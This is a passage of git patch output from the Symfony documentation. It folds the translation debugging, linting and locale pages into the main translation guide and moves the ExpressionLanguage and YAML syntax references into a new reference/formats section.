+It shows you a table with the result when translating the message in the ``fr``
+locale and the result when the fallback locale ``en`` would be used. On top
+of that, it will also show you when the translation is the same as the fallback
+translation (this could indicate that the message was not correctly translated).
+Furthermore, it indicates that the message ``Symfony is great`` is unused
+because it is translated, but you haven't used it anywhere yet.
+
+Now, if you translate the message in one of your templates, you will get this
+output:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:translation fr
+
+    ---------  ------------------  ----------------------  -------------------------------
+     State      Id                  Message Preview (fr)    Fallback Message Preview (en)
+    ---------  ------------------  ----------------------  -------------------------------
+                Symfony is great    J'aime Symfony          Symfony is great
+    ---------  ------------------  ----------------------  -------------------------------
+
+The state is empty which means the message is translated in the ``fr`` locale
+and used in one or more templates.
+
+If you delete the message ``Symfony is great`` from your translation file
+for the ``fr`` locale and run the command, you will get:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:translation fr
+
+    ---------  ------------------  ----------------------  -------------------------------
+     State      Id                  Message Preview (fr)    Fallback Message Preview (en)
+    ---------  ------------------  ----------------------  -------------------------------
+     missing    Symfony is great    Symfony is great        Symfony is great
+    ---------  ------------------  ----------------------  -------------------------------
+
+The state indicates the message is missing because it is not translated in
+the ``fr`` locale but it is still used in the template. Moreover, the message
+in the ``fr`` locale equals to the message in the ``en`` locale. This is a
+special case because the untranslated message id equals its translation in
+the ``en`` locale.
+
+If you copy the content of the translation file in the ``en`` locale to the
+translation file in the ``fr`` locale and run the command, you will get:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:translation fr
+
+    ----------  ------------------  ----------------------  -------------------------------
+     State       Id                  Message Preview (fr)    Fallback Message Preview (en)
+    ----------  ------------------  ----------------------  -------------------------------
+     fallback    Symfony is great    Symfony is great        Symfony is great
+    ----------  ------------------  ----------------------  -------------------------------
+
+You can see that the translations of the message are identical in the ``fr``
+and ``en`` locales which means this message was probably copied from English
+to French and maybe you forgot to translate it.
+
+By default, all domains are inspected, but it is possible to specify a single
+domain:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:translation en --domain=messages
+
+When the application has a lot of messages, it is useful to display only the
+unused or only the missing messages, by using the ``--only-unused`` or
+``--only-missing`` options:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:translation en --only-unused
+    $ php bin/console debug:translation en --only-missing
+
+Debug Command Exit Codes
+~~~~~~~~~~~~~~~~~~~~~~~~
+
+The exit code of the ``debug:translation`` command changes depending on the
+status of the translations. Use the following public constants to check it::
+
+    use Symfony\Bundle\FrameworkBundle\Command\TranslationDebugCommand;
+
+    // generic failure (e.g. there are no translations)
+    TranslationDebugCommand::EXIT_CODE_GENERAL_ERROR;
+
+    // there are missing translations
+    TranslationDebugCommand::EXIT_CODE_MISSING;
+
+    // there are unused translations
+    TranslationDebugCommand::EXIT_CODE_UNUSED;
+
+    // some translations are using the fallback translation
+    TranslationDebugCommand::EXIT_CODE_FALLBACK;
+
+These constants are defined as "bit masks", so you can combine them as follows::
+
+    if (TranslationDebugCommand::EXIT_CODE_MISSING | TranslationDebugCommand::EXIT_CODE_UNUSED) {
+        // ... there are missing and/or unused translations
+    }
+
+.. versionadded:: 5.1
+
+    The exit codes were introduced in Symfony 5.1
+
+.. _translation-lint:
+
+.. index::
+    single: Translation; Lint
+    single: Translation; Translation File Errors
+
+How to Find Errors in Translation Files
+---------------------------------------
+
+Symfony processes all the application translation files as part of the process
+that compiles the application code before executing it. If there's an error in
+any translation file, you'll see an error message explaining the problem.
+
+If you prefer, you can also validate the contents of any YAML and XLIFF
+translation file using the ``lint:yaml`` and ``lint:xliff`` commands:
+
+.. code-block:: terminal
+
+    # lint a single file
+    $ php bin/console lint:yaml translations/messages.en.yaml
+    $ php bin/console lint:xliff translations/messages.en.xlf
+
+    # lint a whole directory
+    $ php bin/console lint:yaml translations
+    $ php bin/console lint:xliff translations
+
+    # lint multiple files or directories
+    $ php bin/console lint:yaml translations path/to/trans
+    $ php bin/console lint:xliff translations/messages.en.xlf translations/messages.es.xlf
+
+The linter results can be exported to JSON using the ``--format`` option:
+
+.. code-block:: terminal
+
+    $ php bin/console lint:yaml translations/ --format=json
+    $ php bin/console lint:xliff translations/ --format=json
+
+When running these linters inside `GitHub Actions`_, the output is automatically
+adapted to the format required by GitHub, but you can force that format too:
+
+.. code-block:: terminal
+
+    $ php bin/console lint:yaml translations/ --format=github
+    $ php bin/console lint:xliff translations/ --format=github
+
+.. versionadded:: 5.3
+
+    The ``github`` output format was introduced in Symfony 5.3 for ``lint:yaml``
+    and in Symfony 5.4 for ``lint:xliff``.
+
+.. tip::
+
+    The Yaml component provides a stand-alone ``yaml-lint`` binary allowing
+    you to lint YAML files without having to create a console application:
+
+    .. code-block:: terminal
 
-The translation of database content should be handled by Doctrine through
-the `Translatable Extension`_ or the `Translatable Behavior`_ (PHP 5.4+).
-For more information, see the documentation for these libraries.
+        $ php vendor/bin/yaml-lint translations/
 
-Debugging Translations
-----------------------
+    .. versionadded:: 5.1
 
-When you work with many translation messages in different languages, it can
-be hard to keep track which translations are missing and which are not used
-anymore. Read :doc:`/translation/debug` to find out how to identify these
-messages.
+        The ``yaml-lint`` binary was introduced in Symfony 5.1.
 
 Summary
 -------
@@ -884,9 +1327,6 @@ Learn more
     :maxdepth: 1
 
     translation/message_format
-    translation/locale
-    translation/debug
-    translation/lint
     translation/xliff
 
 .. _`i18n`: https://en.wikipedia.org/wiki/Internationalization_and_localization
@@ -896,3 +1336,4 @@ Learn more
 .. _`Translatable Extension`: https://github.com/doctrine-extensions/DoctrineExtensions/blob/main/doc/translatable.md
 .. _`Translatable Behavior`: https://github.com/KnpLabs/DoctrineBehaviors
 .. _`Custom Language Name setting`: https://docs.lokalise.com/en/articles/1400492-uploading-files#custom-language-codes
+.. _`GitHub Actions`: https://docs.github.com/en/free-pro-team@latest/actions
diff --git a/translation/debug.rst b/translation/debug.rst
deleted file mode 100644
index e0668c4ae3e..00000000000
--- a/translation/debug.rst
+++ /dev/null
@@ -1,214 +0,0 @@
-.. index::
-    single: Translation; Debug
-    single: Translation; Missing Messages
-    single: Translation; Unused Messages
-
-How to Find Missing or Unused Translation Messages
-==================================================
-
-When maintaining an application or bundle, you may add or remove translation
-messages and forget to update the message catalogs. The ``debug:translation``
-command helps you to find these missing or unused translation messages templates:
-
-.. code-block:: twig
-
-    {# messages can be found when using the trans filter and tag #}
-    {% trans %}Symfony is great{% endtrans %}
-
-    {{ 'Symfony is great'|trans }}
-
-.. caution::
-
-    The extractors can't find messages translated outside templates (like form
-    labels or controllers) unless using :ref:`translatable-objects` or calling
-    the ``trans()`` method on a translator (since Symfony 5.3). Dynamic
-    translations using variables or expressions in templates are not
-    detected either:
-
-    .. code-block:: twig
-
-        {# this translation uses a Twig variable, so it won't be detected #}
-        {% set message = 'Symfony is great' %}
-        {{ message|trans }}
-
-Suppose your application's default_locale is ``fr`` and you have configured
-``en`` as the fallback locale (see :ref:`translation-configuration` and
-:ref:`translation-fallback` for how to configure these). And suppose
-you've already setup some translations for the ``fr`` locale:
-
-.. configuration-block::
-
-    .. code-block:: xml
-
-        <!-- translations/messages.fr.xlf -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
-            <file source-language="en" datatype="plaintext" original="file.ext">
-                <body>
-                    <trans-unit id="1">
-                        <source>Symfony is great</source>
-                        <target>J'aime Symfony</target>
-                    </trans-unit>
-                </body>
-            </file>
-        </xliff>
-
-    .. code-block:: yaml
-
-        # translations/messages.fr.yaml
-        Symfony is great: J'aime Symfony
-
-    .. code-block:: php
-
-        // translations/messages.fr.php
-        return [
-            'Symfony is great' => 'J\'aime Symfony',
-        ];
-
-and for the ``en`` locale:
-
-.. configuration-block::
-
-    .. code-block:: xml
-
-        <!-- translations/messages.en.xlf -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
-            <file source-language="en" datatype="plaintext" original="file.ext">
-                <body>
-                    <trans-unit id="1">
-                        <source>Symfony is great</source>
-                        <target>Symfony is great</target>
-                    </trans-unit>
-                </body>
-            </file>
-        </xliff>
-
-    .. code-block:: yaml
-
-        # translations/messages.en.yaml
-        Symfony is great: Symfony is great
-
-    .. code-block:: php
-
-        // translations/messages.en.php
-        return [
-            'Symfony is great' => 'Symfony is great',
-        ];
-
-To inspect all messages in the ``fr`` locale for the application, run:
-
-.. code-block:: terminal
-
-    $ php bin/console debug:translation fr
-
-    ---------  ------------------  ----------------------  -------------------------------
-     State      Id                  Message Preview (fr)    Fallback Message Preview (en)
-    ---------  ------------------  ----------------------  -------------------------------
-     unused     Symfony is great    J'aime Symfony          Symfony is great
-    ---------  ------------------  ----------------------  -------------------------------
-
-It shows you a table with the result when translating the message in the ``fr``
-locale and the result when the fallback locale ``en`` would be used. On top
-of that, it will also show you when the translation is the same as the fallback
-translation (this could indicate that the message was not correctly translated).
-Furthermore, it indicates that the message ``Symfony is great`` is unused
-because it is translated, but you haven't used it anywhere yet.
-
-Now, if you translate the message in one of your templates, you will get this
-output:
-
-.. code-block:: terminal
-
-    $ php bin/console debug:translation fr
-
-    ---------  ------------------  ----------------------  -------------------------------
-     State      Id                  Message Preview (fr)    Fallback Message Preview (en)
-    ---------  ------------------  ----------------------  -------------------------------
-                Symfony is great    J'aime Symfony          Symfony is great
-    ---------  ------------------  ----------------------  -------------------------------
-
-The state is empty which means the message is translated in the ``fr`` locale
-and used in one or more templates.
-
-If you delete the message ``Symfony is great`` from your translation file
-for the ``fr`` locale and run the command, you will get:
-
-.. code-block:: terminal
-
-    $ php bin/console debug:translation fr
-
-    ---------  ------------------  ----------------------  -------------------------------
-     State      Id                  Message Preview (fr)    Fallback Message Preview (en)
-    ---------  ------------------  ----------------------  -------------------------------
-     missing    Symfony is great    Symfony is great        Symfony is great
-    ---------  ------------------  ----------------------  -------------------------------
-
-The state indicates the message is missing because it is not translated in
-the ``fr`` locale but it is still used in the template. Moreover, the message
-in the ``fr`` locale equals to the message in the ``en`` locale. This is a
-special case because the untranslated message id equals its translation in
-the ``en`` locale.
-
-If you copy the content of the translation file in the ``en`` locale to the
-translation file in the ``fr`` locale and run the command, you will get:
-
-.. code-block:: terminal
-
-    $ php bin/console debug:translation fr
-
-    ----------  ------------------  ----------------------  -------------------------------
-     State       Id                  Message Preview (fr)    Fallback Message Preview (en)
-    ----------  ------------------  ----------------------  -------------------------------
-     fallback    Symfony is great    Symfony is great        Symfony is great
-    ----------  ------------------  ----------------------  -------------------------------
-
-You can see that the translations of the message are identical in the ``fr``
-and ``en`` locales which means this message was probably copied from English
-to French and maybe you forgot to translate it.
-
-By default, all domains are inspected, but it is possible to specify a single
-domain:
-
-.. code-block:: terminal
-
-    $ php bin/console debug:translation en --domain=messages
-
-When the application has a lot of messages, it is useful to display only the
-unused or only the missing messages, by using the ``--only-unused`` or
-``--only-missing`` options:
-
-.. code-block:: terminal
-
-    $ php bin/console debug:translation en --only-unused
-    $ php bin/console debug:translation en --only-missing
-
-Debug Command Exit Codes
-------------------------
-
-The exit code of the ``debug:translation`` command changes depending on the
-status of the translations. Use the following public constants to check it::
-
-    use Symfony\Bundle\FrameworkBundle\Command\TranslationDebugCommand;
-
-    // generic failure (e.g. there are no translations)
-    TranslationDebugCommand::EXIT_CODE_GENERAL_ERROR;
-
-    // there are missing translations
-    TranslationDebugCommand::EXIT_CODE_MISSING;
-
-    // there are unused translations
-    TranslationDebugCommand::EXIT_CODE_UNUSED;
-
-    // some translations are using the fallback translation
-    TranslationDebugCommand::EXIT_CODE_FALLBACK;
-
-These constants are defined as "bit masks", so you can combine them as follows::
-
-    if (TranslationDebugCommand::EXIT_CODE_MISSING | TranslationDebugCommand::EXIT_CODE_UNUSED) {
-        // ... there are missing and/or unused translations
-    }
-
-.. versionadded:: 5.1
-
-    The exit codes were introduced in Symfony 5.1
diff --git a/translation/lint.rst b/translation/lint.rst
deleted file mode 100644
index e6987538aeb..00000000000
--- a/translation/lint.rst
+++ /dev/null
@@ -1,62 +0,0 @@
-.. index::
-    single: Translation; Lint
-    single: Translation; Translation File Errors
-
-How to Find Errors in Translation Files
-=======================================
-
-Symfony processes all the application translation files as part of the process
-that compiles the application code before executing it. If there's an error in
-any translation file, you'll see an error message explaining the problem.
-
-If you prefer, you can also validate the contents of any YAML and XLIFF
-translation file using the ``lint:yaml`` and ``lint:xliff`` commands:
-
-.. code-block:: terminal
-
-    # lint a single file
-    $ php bin/console lint:yaml translations/messages.en.yaml
-    $ php bin/console lint:xliff translations/messages.en.xlf
-
-    # lint a whole directory
-    $ php bin/console lint:yaml translations
-    $ php bin/console lint:xliff translations
-
-    # lint multiple files or directories
-    $ php bin/console lint:yaml translations path/to/trans
-    $ php bin/console lint:xliff translations/messages.en.xlf translations/messages.es.xlf
-
-The linter results can be exported to JSON using the ``--format`` option:
-
-.. code-block:: terminal
-
-    $ php bin/console lint:yaml translations/ --format=json
-    $ php bin/console lint:xliff translations/ --format=json
-
-When running these linters inside `GitHub Actions`_, the output is automatically
-adapted to the format required by GitHub, but you can force that format too:
-
-.. code-block:: terminal
-
-    $ php bin/console lint:yaml translations/ --format=github
-    $ php bin/console lint:xliff translations/ --format=github
-
-.. versionadded:: 5.3
-
-    The ``github`` output format was introduced in Symfony 5.3 for ``lint:yaml``
-    and in Symfony 5.4 for ``lint:xliff``.
-
-.. tip::
-
-    The Yaml component provides a stand-alone ``yaml-lint`` binary allowing
-    you to lint YAML files without having to create a console application:
-
-    .. code-block:: terminal
-
-        $ php vendor/bin/yaml-lint translations/
-
-    .. versionadded:: 5.1
-
-        The ``yaml-lint`` binary was introduced in Symfony 5.1.
-
-.. _`GitHub Actions`: https://docs.github.com/en/free-pro-team@latest/actions
diff --git a/translation/locale.rst b/translation/locale.rst
deleted file mode 100644
index efd7cc077a2..00000000000
--- a/translation/locale.rst
+++ /dev/null
@@ -1,204 +0,0 @@
-.. index::
-    single: Translation; Locale
-
-How to Work with the User's Locale
-==================================
-
-The locale of the current user is stored in the request and is accessible
-via the ``Request`` object::
-
-    use Symfony\Component\HttpFoundation\Request;
-
-    public function index(Request $request)
-    {
-        $locale = $request->getLocale();
-    }
-
-To set the user's locale, you may want to create a custom event listener so
-that it's set before any other parts of the system (i.e. the translator) need
-it::
-
-        public function onKernelRequest(RequestEvent $event)
-        {
-            $request = $event->getRequest();
-
-            // some logic to determine the $locale
-            $request->setLocale($locale);
-        }
-
-.. note::
-
-    The custom listener must be called **before** ``LocaleListener``, which
-    initializes the locale based on the current request. To do so, set your
-    listener priority to a higher value than ``LocaleListener`` priority (which
-    you can obtain by running the ``debug:event kernel.request`` command).
-
-Read :ref:`locale-sticky-session` for more information on making the user's
-locale "sticky" to their session.
-
-.. note::
-
-    Setting the locale using ``$request->setLocale()`` in the controller is
-    too late to affect the translator. Either set the locale via a listener
-    (like above), the URL (see next) or call ``setLocale()`` directly on the
-    ``translator`` service.
-
-See the :ref:`translation-locale-url` section below about setting the
-locale via routing.
-
-.. _translation-locale-url:
-
-The Locale and the URL
-----------------------
-
-Since you can store the locale of the user in the session, it may be tempting
-to use the same URL to display a resource in different languages based on
-the user's locale. For example, ``http://www.example.com/contact`` could show
-content in English for one user and French for another user. Unfortunately,
-this violates a fundamental rule of the Web: that a particular URL returns
-the same resource regardless of the user. To further muddy the problem, which
-version of the content would be indexed by search engines?
-
-A better policy is to include the locale in the URL using the
-:ref:`special _locale parameter <routing-locale-parameter>`:
-
-.. configuration-block::
-
-    .. code-block:: php-annotations
-
-        // src/Controller/ContactController.php
-        namespace App\Controller;
-
-        // ...
-        class ContactController extends AbstractController
-        {
-            /**
-             * @Route(
-             *     "/{_locale}/contact",
-             *     name="contact",
-             *     requirements={
-             *         "_locale": "en|fr|de",
-             *     }
-             * )
-             */
-            public function contact()
-            {
-            }
-        }
-        
-    .. code-block:: php-attributes
-
-        // src/Controller/ContactController.php
-        namespace App\Controller;
-
-        // ...
-        class ContactController extends AbstractController
-        {
-            #[Route(
-                path: '/{_locale}/contact',
-                name: 'contact',
-                requirements: [
-                    '_locale' => 'en|fr|de',
-                ],
-            )]
-            public function contact()
-            {
-            }
-        }
-
-    .. code-block:: yaml
-
-        # config/routes.yaml
-        contact:
-            path:       /{_locale}/contact
-            controller: App\Controller\ContactController::index
-            requirements:
-                _locale: en|fr|de
-
-    .. code-block:: xml
-
-        <!-- config/routes.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <routes xmlns="http://symfony.com/schema/routing"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/routing
-                https://symfony.com/schema/routing/routing-1.0.xsd">
-
-            <route id="contact" path="/{_locale}/contact">
-                controller="App\Controller\ContactController::index">
-                <requirement key="_locale">en|fr|de</requirement>
-            </route>
-        </routes>
-
-    .. code-block:: php
-
-        // config/routes.php
-        use App\Controller\ContactController;
-        use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
-
-        return function (RoutingConfigurator $routes) {
-            $routes->add('contact', '/{_locale}/contact')
-                ->controller([ContactController::class, 'index'])
-                ->requirements([
-                    '_locale' => 'en|fr|de',
-                ])
-            ;
-        };
-
-When using the special ``_locale`` parameter in a route, the matched locale
-is *automatically set on the Request* and can be retrieved via the
-:method:`Symfony\\Component\\HttpFoundation\\Request::getLocale` method. In
-other words, if a user visits the URI ``/fr/contact``, the locale ``fr`` will
-automatically be set as the locale for the current request.
-
-You can now use the locale to create routes to other translated pages in your
-application.
-
-.. tip::
-
-    Define the locale requirement as a :ref:`container parameter <configuration-parameters>`
-    to avoid hardcoding its value in all your routes.
-
-.. index::
-    single: Translations; Fallback and default locale
-
-.. _translation-default-locale:
-
-Setting a Default Locale
-------------------------
-
-What if the user's locale hasn't been determined? You can guarantee that a
-locale is set on each user's request by defining a ``default_locale`` for
-the framework:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/translation.yaml
-        framework:
-            default_locale: en
-
-    .. code-block:: xml
-
-        <!-- config/packages/translation.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony
-                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
-            <framework:config default-locale="en"/>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/translation.php
-        use Symfony\Config\FrameworkConfig;
-
-        return static function (FrameworkConfig $framework) {
-            $framework->defaultLocale('en');
-        };

From 696be663299181648a41ac70d517b76f2762ff38 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Fri, 27 Jan 2023 12:26:57 +0100
Subject: [PATCH 2838/5766] Format syntaxes reference

---
 _build/redirection_map                        |   6 +-
 components/expression_language.rst            | 315 +---------------
 components/yaml.rst                           | 343 +-----------------
 configuration.rst                             |   2 +-
 reference/constraints/Expression.rst          |   4 +-
 reference/formats/expression_language.rst     | 320 ++++++++++++++++
 .../formats}/message_format.rst               |   0
 {translation => reference/formats}/xliff.rst  |   0
 reference/formats/yaml.rst                    | 340 +++++++++++++++++
 reference/map.rst.inc                         |  57 +--
 routing.rst                                   |   4 +-
 security/expressions.rst                      |   2 +-
 service_container/expression_language.rst     |   2 +-
 translation.rst                               |   2 +-
 14 files changed, 712 insertions(+), 685 deletions(-)
 create mode 100644 reference/formats/expression_language.rst
 rename {translation => reference/formats}/message_format.rst (100%)
 rename {translation => reference/formats}/xliff.rst (100%)
 create mode 100644 reference/formats/yaml.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index c58e85b6c23..c107f51f066 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -537,8 +537,10 @@
 /components/security/secure_tools /security/passwords
 /components/security /security
 /components/var_dumper/advanced /components/var_dumper#advanced-usage
-/components/yaml/yaml_format /components/yaml#yaml-format
-/components/expression_language/syntax /components/expression_language#expression-language-syntax
+/components/yaml/yaml_format /reference/formats/yaml
+/components/expression_language/syntax /reference/formats/expression_language
+/components/expression_language/ast /components/expression_language#expression-language-ast
+/components/expression_language/caching /components/expression_language#expression-language-caching
 /components/expression_language/extending /components/expression_language#expression-language-extending
 /notifier/chatters /notifier#sending-chat-messages
 /notifier/texters /notifier#sending-sms
diff --git a/components/expression_language.rst b/components/expression_language.rst
index be84457995f..f5551a093cd 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -73,317 +73,10 @@ The main class of the component is
 
     var_dump($expressionLanguage->compile('1 + 2')); // displays (1 + 2)
 
-.. _expression-language-syntax:
-
-.. index::
-    single: Syntax; ExpressionLanguage
-
-Expression Syntax
------------------
-
-The ExpressionLanguage component uses a specific syntax which is based on the
-expression syntax of Twig. In this document, you can find all supported
-syntaxes.
-
-Supported Literals
-~~~~~~~~~~~~~~~~~~
-
-The component supports:
-
-* **strings** - single and double quotes (e.g. ``'hello'``)
-* **numbers** - e.g. ``103``
-* **arrays** - using JSON-like notation (e.g. ``[1, 2]``)
-* **hashes** - using JSON-like notation (e.g. ``{ foo: 'bar' }``)
-* **booleans** - ``true`` and ``false``
-* **null** - ``null``
-* **exponential** - also known as scientific (e.g. ``1.99E+3`` or ``1e-2``)
-
-.. caution::
-
-    A backslash (``\``) must be escaped by 4 backslashes (``\\\\``) in a string
-    and 8 backslashes (``\\\\\\\\``) in a regex::
-
-        echo $expressionLanguage->evaluate('"\\\\"'); // prints \
-        $expressionLanguage->evaluate('"a\\\\b" matches "/^a\\\\\\\\b$/"'); // returns true
-
-    Control characters (e.g. ``\n``) in expressions are replaced with
-    whitespace. To avoid this, escape the sequence with a single backslash
-    (e.g.  ``\\n``).
-
-.. _component-expression-objects:
-
-Working with Objects
-~~~~~~~~~~~~~~~~~~~~
-
-When passing objects into an expression, you can use different syntaxes to
-access properties and call methods on the object.
-
-Accessing Public Properties
-...........................
-
-Public properties on objects can be accessed by using the ``.`` syntax, similar
-to JavaScript::
-
-    class Apple
-    {
-        public $variety;
-    }
-
-    $apple = new Apple();
-    $apple->variety = 'Honeycrisp';
-
-    var_dump($expressionLanguage->evaluate(
-        'fruit.variety',
-        [
-            'fruit' => $apple,
-        ]
-    ));
-
-This will print out ``Honeycrisp``.
-
-Calling Methods
-...............
-
-The ``.`` syntax can also be used to call methods on an object, similar to
-JavaScript::
-
-    class Robot
-    {
-        public function sayHi($times)
-        {
-            $greetings = [];
-            for ($i = 0; $i < $times; $i++) {
-                $greetings[] = 'Hi';
-            }
-
-            return implode(' ', $greetings).'!';
-        }
-    }
-
-    $robot = new Robot();
-
-    var_dump($expressionLanguage->evaluate(
-        'robot.sayHi(3)',
-        [
-            'robot' => $robot,
-        ]
-    ));
-
-This will print out ``Hi Hi Hi!``.
-
-.. _component-expression-functions:
-
-Working with Functions
-~~~~~~~~~~~~~~~~~~~~~~
-
-You can also use registered functions in the expression by using the same
-syntax as PHP and JavaScript. The ExpressionLanguage component comes with one
-function by default: ``constant()``, which will return the value of the PHP
-constant::
-
-    define('DB_USER', 'root');
-
-    var_dump($expressionLanguage->evaluate(
-        'constant("DB_USER")'
-    ));
-
-This will print out ``root``.
-
-.. tip::
-
-    To read how to register your own functions to use in an expression, see
-    ":ref:`expression-language-extending`".
-
-.. _component-expression-arrays:
-
-Working with Arrays
-~~~~~~~~~~~~~~~~~~~
-
-If you pass an array into an expression, use the ``[]`` syntax to access
-array keys, similar to JavaScript::
-
-    $data = ['life' => 10, 'universe' => 10, 'everything' => 22];
-
-    var_dump($expressionLanguage->evaluate(
-        'data["life"] + data["universe"] + data["everything"]',
-        [
-            'data' => $data,
-        ]
-    ));
-
-This will print out ``42``.
-
-Supported Operators
-~~~~~~~~~~~~~~~~~~~
-
-The component comes with a lot of operators:
-
-Arithmetic Operators
-....................
-
-* ``+`` (addition)
-* ``-`` (subtraction)
-* ``*`` (multiplication)
-* ``/`` (division)
-* ``%`` (modulus)
-* ``**`` (pow)
-
-For example::
-
-    var_dump($expressionLanguage->evaluate(
-        'life + universe + everything',
-        [
-            'life' => 10,
-            'universe' => 10,
-            'everything' => 22,
-        ]
-    ));
-
-This will print out ``42``.
-
-Bitwise Operators
-.................
-
-* ``&`` (and)
-* ``|`` (or)
-* ``^`` (xor)
-
-Comparison Operators
-....................
-
-* ``==`` (equal)
-* ``===`` (identical)
-* ``!=`` (not equal)
-* ``!==`` (not identical)
-* ``<`` (less than)
-* ``>`` (greater than)
-* ``<=`` (less than or equal to)
-* ``>=`` (greater than or equal to)
-* ``matches`` (regex match)
-
 .. tip::
 
-    To test if a string does *not* match a regex, use the logical ``not``
-    operator in combination with the ``matches`` operator::
-
-        $expressionLanguage->evaluate('not ("foo" matches "/bar/")'); // returns true
-
-    You must use parentheses because the unary operator ``not`` has precedence
-    over the binary operator ``matches``.
-
-Examples::
-
-    $ret1 = $expressionLanguage->evaluate(
-        'life == everything',
-        [
-            'life' => 10,
-            'everything' => 22,
-        ]
-    );
-
-    $ret2 = $expressionLanguage->evaluate(
-        'life > everything',
-        [
-            'life' => 10,
-            'everything' => 22,
-        ]
-    );
-
-Both variables would be set to ``false``.
-
-Logical Operators
-.................
-
-* ``not`` or ``!``
-* ``and`` or ``&&``
-* ``or`` or ``||``
-
-For example::
-
-    $ret = $expressionLanguage->evaluate(
-        'life < universe or life < everything',
-        [
-            'life' => 10,
-            'universe' => 10,
-            'everything' => 22,
-        ]
-    );
-
-This ``$ret`` variable will be set to ``true``.
-
-String Operators
-................
-
-* ``~`` (concatenation)
-
-For example::
-
-    var_dump($expressionLanguage->evaluate(
-        'firstName~" "~lastName',
-        [
-            'firstName' => 'Arthur',
-            'lastName' => 'Dent',
-        ]
-    ));
-
-This would print out ``Arthur Dent``.
-
-Array Operators
-...............
-
-* ``in`` (contain)
-* ``not in`` (does not contain)
-
-For example::
-
-    class User
-    {
-        public $group;
-    }
-
-    $user = new User();
-    $user->group = 'human_resources';
-
-    $inGroup = $expressionLanguage->evaluate(
-        'user.group in ["human_resources", "marketing"]',
-        [
-            'user' => $user,
-        ]
-    );
-
-The ``$inGroup`` would evaluate to ``true``.
-
-Numeric Operators
-.................
-
-* ``..`` (range)
-
-For example::
-
-    class User
-    {
-        public $age;
-    }
-
-    $user = new User();
-    $user->age = 34;
-
-    $expressionLanguage->evaluate(
-        'user.age in 18..45',
-        [
-            'user' => $user,
-        ]
-    );
-
-This will evaluate to ``true``, because ``user.age`` is in the range from
-``18`` to ``45``.
-
-Ternary Operators
-.................
-
-* ``foo ? 'yes' : 'no'``
-* ``foo ?: 'no'`` (equal to ``foo ? foo : 'no'``)
-* ``foo ? 'yes'`` (equal to ``foo ? 'yes' : ''``)
+    See :doc:`/reference/formats/expression_language` to learn the syntax of
+    the ExpressionLanguage component.
 
 Passing in Variables
 --------------------
@@ -428,6 +121,8 @@ expressions (e.g. the request, the current user, etc.):
 .. index::
     single: Caching; ExpressionLanguage
 
+.. _expression-language-caching:
+
 Caching
 -------
 
@@ -498,6 +193,8 @@ Both ``evaluate()`` and ``compile()`` can handle ``ParsedExpression`` and
     single: AST; ExpressionLanguage
     single: AST; Abstract Syntax Tree
 
+.. _expression-language-ast:
+
 AST Dumping and Editing
 -----------------------
 
diff --git a/components/yaml.rst b/components/yaml.rst
index e5cdc2d1ebc..94d0278959f 100644
--- a/components/yaml.rst
+++ b/components/yaml.rst
@@ -18,12 +18,9 @@ standard for all programming languages. YAML is a great format for your
 configuration files. YAML files are as expressive as XML files and as readable
 as INI files.
 
-The Symfony Yaml Component implements a selected subset of features defined in
-the `YAML 1.2 version specification`_.
-
 .. tip::
 
-    Learn more about :ref:`YAML specifications <yaml-format>`.
+    Learn more about :doc:`YAML specifications </reference/formats/yaml>`.
 
 Installation
 ------------
@@ -451,343 +448,5 @@ Add the ``--format`` option to get the output in JSON format:
     YAML files. This may for example be useful for recognizing deprecations of
     contents of YAML files during automated tests.
 
-.. _yaml-format:
-
-.. index::
-    single: Yaml; YAML Format
-
-The YAML Format
----------------
-
-Scalars
-~~~~~~~
-
-The syntax for scalars is similar to the PHP syntax.
-
-Strings
-.......
-
-Strings in YAML can be wrapped both in single and double quotes. In some cases,
-they can also be unquoted:
-
-.. code-block:: yaml
-
-    A string in YAML
-
-    'A single-quoted string in YAML'
-
-    "A double-quoted string in YAML"
-
-Quoted styles are useful when a string starts or end with one or more relevant
-spaces, because unquoted strings are trimmed on both end when parsing their
-contents. Quotes are required when the string contains special or reserved characters.
-
-When using single-quoted strings, any single quote ``'`` inside its contents
-must be doubled to escape it:
-
-.. code-block:: yaml
-
-    'A single quote '' inside a single-quoted string'
-
-Strings containing any of the following characters must be quoted. Although you
-can use double quotes, for these characters it is more convenient to use single
-quotes, which avoids having to escape any backslash ``\``:
-
-* ``:``, ``{``, ``}``, ``[``, ``]``, ``,``, ``&``, ``*``, ``#``, ``?``, ``|``,
-  ``-``, ``<``, ``>``, ``=``, ``!``, ``%``, ``@``, `````
-
-The double-quoted style provides a way to express arbitrary strings, by
-using ``\`` to escape characters and sequences. For instance, it is very useful
-when you need to embed a ``\n`` or a Unicode character in a string.
-
-.. code-block:: yaml
-
-    "A double-quoted string in YAML\n"
-
-If the string contains any of the following control characters, it must be
-escaped with double quotes:
-
-* ``\0``, ``\x01``, ``\x02``, ``\x03``, ``\x04``, ``\x05``, ``\x06``, ``\a``,
-  ``\b``, ``\t``, ``\n``, ``\v``, ``\f``, ``\r``, ``\x0e``, ``\x0f``, ``\x10``,
